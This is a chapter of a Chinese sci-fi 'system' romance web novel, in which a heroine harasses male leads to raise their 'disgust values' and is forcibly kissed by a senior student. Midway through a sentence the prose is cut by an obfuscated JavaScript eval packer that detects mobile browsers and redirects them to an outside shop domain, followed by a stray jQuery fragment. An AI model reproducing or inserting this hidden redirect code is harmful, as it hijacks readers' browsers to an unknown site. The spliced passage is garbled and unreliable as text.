“当然没有……”

    时浅不记得后面是怎么应付过去的。因为不管有没有得到想要的回复,她都会被祁安澜狠狠惩罚。

    到后来,连她的舌根都微微发麻。

    发生了那么多事情,祁安澜来时已经是夜半时分。他的呼吸始终纠缠着时浅,舌头也一刻不停地缠着她的小舌,在缺氧的眩晕中,一切焦虑、疲惫都化作困意。

    她的脑子已经转不动了。

    “唔……我困……走了…把我放到外婆旁边……”在进入梦境的前一秒,她轻轻捏了捏祁安澜紧锁着她的胳膊,在喘息的空隙说道。

    换来的是祁安澜狂风骤雨般的吻。

    她已经看不清祁安澜幽深的眼神。

    *

    将时浅从睡梦中唤醒的,是医疗舱传来的滴滴报警声。

    她猛地惊醒,从小床上弹起,“外婆!”

    一开口就发现嗓子干得发紧,嘴唇也因发声而传来刺痛,可时浅无心去想这些,因为她的眼前阵阵发黑,四肢也酸软无力——

    即使在她没有刻意体能训练前,她的身体也没有这么虚弱过!

    “外婆怎么了?”她急急地扑到医疗舱前,外婆还是和刚躺进医疗舱时一样,安详地睡着。

    “心电图、血压和血氧饱和度都正常,只是有几项数据有些波动,不过仍在正常范围内……”听到医疗舱提醒的医生赶来,一边查询光屏上的数据一边解释道。

    “冷静,如果有异常医疗舱也一定也可以救你外婆。”

    是林绪青有些空灵的嗓音,她竟然也在。

    “林学姐……”时浅刚要从医疗舱旁后退,却腿一软向后倒去。

    她倒进一个温热有力的怀里。

    “系统,这到底怎么回事?”在林绪青骨感分明的怀里勉强站稳身体,时浅有些咬牙切齿地问。

    【不知道呢宿主,或许是宿主做任务不够卖力,不是我的原因呢。】

    “还不够卖力?我都那样容忍祁安澜,我们的舌头都负距离接触了还不卖力?我每天那么忙,还要抽出时间去想骚话骚扰他们,我不卖力?”

    她的话让系统卡壳了一瞬。

    【宿主别生气别生气,可能是上级系统巡查导致的?】

    去他的什么上级系统!系统语气中那未完全褪去的人机味儿让她更火大了。

    她忽然想起什么,打开之前因为太过闪亮而被折叠起来的生命值,却发现生命值已经完全变为灰色!

    虽然生命值比之前要高,是14.96,但整体却呈现出一种灰败的色泽。

    这到底是怎么回事?

    时浅想起之前生命值每次亮起,都是因为她接触到了任务对象,而且是近距离接触。

    一个不好的猜想逐渐形成。

    “林学姐,祁安澜是不是已经走了?”

    “对,他没告诉你吗,我以为……”

    “那霍星泽呢?”

    “他和祁安澜一起。”

    这消息宛若晴天霹雳,这意味着现在星舰上没有一个任务对象,祁安澜、霍星泽不知在哪个犄角旮旯,而秦渊很可能远在中央星。

    茫茫宇宙,他们之间的距离难以估计。

    而且她自己的生命值低就算了,连带着外婆也受到牵连,总不能让外婆一直躺在医疗舱吧?!

    她回头定定看着外婆,还有光屏上不停变换的数据,这时时浅看到她的生命值缓慢变动,掉至14.95。

    她到哪里去找她的任务对象啊?她已经很努力了,为什么还是要这样,让外婆一同承担失败的后果。

    不,她还没有失败,她要继续刷厌恶值,继续给这些人发骚扰信息。

    “你找他们做什么?”时浅忽然被一股不可抗拒的力量拉进怀里。

    因为她的虚弱,跌倒显得那样轻易。

    林绪青猛地撞进一双有些失焦的眼眸,此时这双漂亮的眼睛满含心痛的水光。

    这双眼中既没有对她的依恋,也毫无对她美貌的迷醉。

    就这样维持了半晌。

    直到时浅眼神重新聚焦,开始挣扎着起身。

    林绪青忽然凑近,“你惊惶的眼泪到底是为你外婆而流,还是为他们的离开而流?”

    她的语气很平静,不像是质问。

    却无端在时浅心中点燃一股怒火。

    挣扎间,身上的衣服散落。

    她的下巴被林绪青抬起,力度大的像要把骨头捏碎。林绪青看着她泫然欲泣的眼神,脖子上的红痕,“怎么,你爱上他们了?”

    “是祁安澜,还是霍星泽?”

    “还是贪心的都有?”

    “林学姐你怎么了……”

    她的眼神实在很可怕,是从未见过的冷。

    又被异能副作用夺舍了吗?

    下颌的疼痛让时浅被迫清醒,她从悲伤无助中暂时解脱,集中精力观察林绪青周围。

    林绪青周身的“气”和那次她帮林绪青缓解后一样,有些浑浊,但远不及她打止痛针时那样如同黑雾般浑浊。

    没等她想清楚,本就红肿的唇上就传来暴力的亲吻——

    林绪青的薄唇印了上来。

    从余光中,时浅看到医生被惊得骤然张大的嘴巴。

    *

    星舰已驶入中央星上空。

    时浅冰凉的手上传来林绪青略高的体温,她唇边噙着温和的浅笑,轻轻摸了摸她的手,“手怎么这么凉?还在为你外婆担心吗?”

    她瘦弱高挑的身体总是把衣袍的裁剪、绸缎的色泽展示的很好。

    她的手里端着杯咖啡。

    即使星舰里充斥着金属沉重的色泽,眼前美人斜倚的美景让这里无端多了几分温馨的气氛。

    咖啡的香气涌来。

    时浅嘴里还残留着她舌头在口腔里搅动的感觉。

    没有人会相信,仅仅是几分钟前,林绪青又使用了异能,现在她周身被更浑浊的浊气笼罩。

    明明已经那样痛苦,为什么还要滥用异能?

    时浅下意识瑟缩一下,她立马意识到这么做大错特错了,她应该失忆才对。

    在她的眼中,林绪青应该还是那个温柔完美的学姐。

    时浅急中生智,开始轻微颤抖起来。

    “学姐,我生理期痛……”她用冰凉的手拉起林绪青的手放在自己的脸颊上,“我去休息一下,如果有个暖宝宝和学姐的手一样热就好了……”

    幸好虚弱是真实的,不用表演。

    她像相信捕猎者柔然伪装的羔羊,无辜而又柔弱。

    这个世界有异能的女性往往身体强壮,而且进化后的身体生理期周期变长,生理期痛较为罕见。

    林绪青的手很大,几乎完全包裹时浅的侧脸。她呼吸一窒,面前的少女无师自通地学会如何示弱。

    生理期,对林绪青来说这是个只在生理课上学过的陌生词汇。生理期的女性可能会小腹疼痛,严重时会导致休克。

    可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883605|212122||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这离她的生活太过遥远。

    她的心像是被羽毛轻轻拂过。

    空气中似乎有若有若无的血腥味,她的耳朵慢慢变红。

    “这样会好点吗?”

    回忆着生理课的知识,她将手轻轻放在时浅的小腹上。

    手下的触感柔软,还伴随着微微的起伏。

    “星舰不久就会降落,会有很多记者想要拍到关于你的第一手新闻,不过他们猜不到星舰会降落在哪个停泊点,即使有记者蹲守,我们也会保护好你。”她一边摸着时浅的肚子一边缓缓说着,热意源源不断地涌来。

    “好。”时浅感觉浑身僵硬极了,她现在根本没有精力担心有没有想拍她的记者,“我想回去休息休息,躺一下就好……”可她又不太敢强硬拒绝。

    一抬头,就又看到林绪青绝美的、易碎的脸庞。

    林绪青像是在感受她的呼吸。

    幸好没过多久,林绪青轻轻放开她,“用不用我扶你?”

    “我自己可以的,学姐。”

    她眼前忽然天旋地转,林绪青抱起了她,她眼前就是林绪青平坦的胸膛,林绪青那么瘦弱,力气居然这么大。

    在余光里,她又看到医生略有些惊讶地张开嘴巴。

    这一切一定都是魅力值惹的祸!

    *

    暂时安抚完眼前阴晴不定的林绪青,时浅回到房间关好舱门,开始尝试刷厌恶值。

    【合同我看完了】

    【文件】

    【我已经签好字了】

    【什么时候薪水到账?】

    这是发给霍星泽的。

    【你就这样走了?】

    不够无理取闹。

    【嘴唇肿肿的照片】

    【你看你干的好事!】

    【我的舌头都麻了,你是狗吗?】

    【还有,外婆旁边的床好硬!】

    对,就这样骚扰祁安澜,不管他做了什么都会收到她不满意的指控。

    发完后,时浅焦急地等待着,感受着虚弱的身体有没有变化。

    她现在抬起手来都没力气,走两步就一直喘气。

    很快,系统的提示音响起。

    【宿主,祁安澜的厌恶值上涨为52%。】

    太好了!随即时浅感受到自己的心脏像是被注入了一剂强心针,有源源不断的力气涌入身体。

    她从未像现在一样期待祁安澜或霍星泽回来。

    “系统,这种必须要靠近他们才能维持健康的bug什么时候解除?”

    【恐怕要等任务完成呢,宿主。】

    可恶的系统没有实体,不能让她发泄怒火。

    既然是这样,她还能带着外婆远离这群天龙人,只靠口嗨刷厌恶值直到完成任务吗?

    她真希望她可以把他们变小,像挂件一样随身系在身上。虽然现实和想象有偏差,现在像被随身带在身上的好像是她。

    *

    星舰在中央星降落时,闪电正照亮云层,雨水打在舱门上。

    时浅搀扶着从医疗舱出来的外婆,慢慢走在隐秘的通道中,后面还跟着星舰上的医生和两个人高马大的保镖。

    和她们并排走着的是林绪青。

    虽然这阵仗有些大,不过考虑到外婆的身体,时浅没有拒绝林绪青的关照。

    如果她真的把那些事忘记了,和林绪青相处起来就不会那么别扭。

    有连续的闪光从角落打在她们身上,有人在暗处拍照!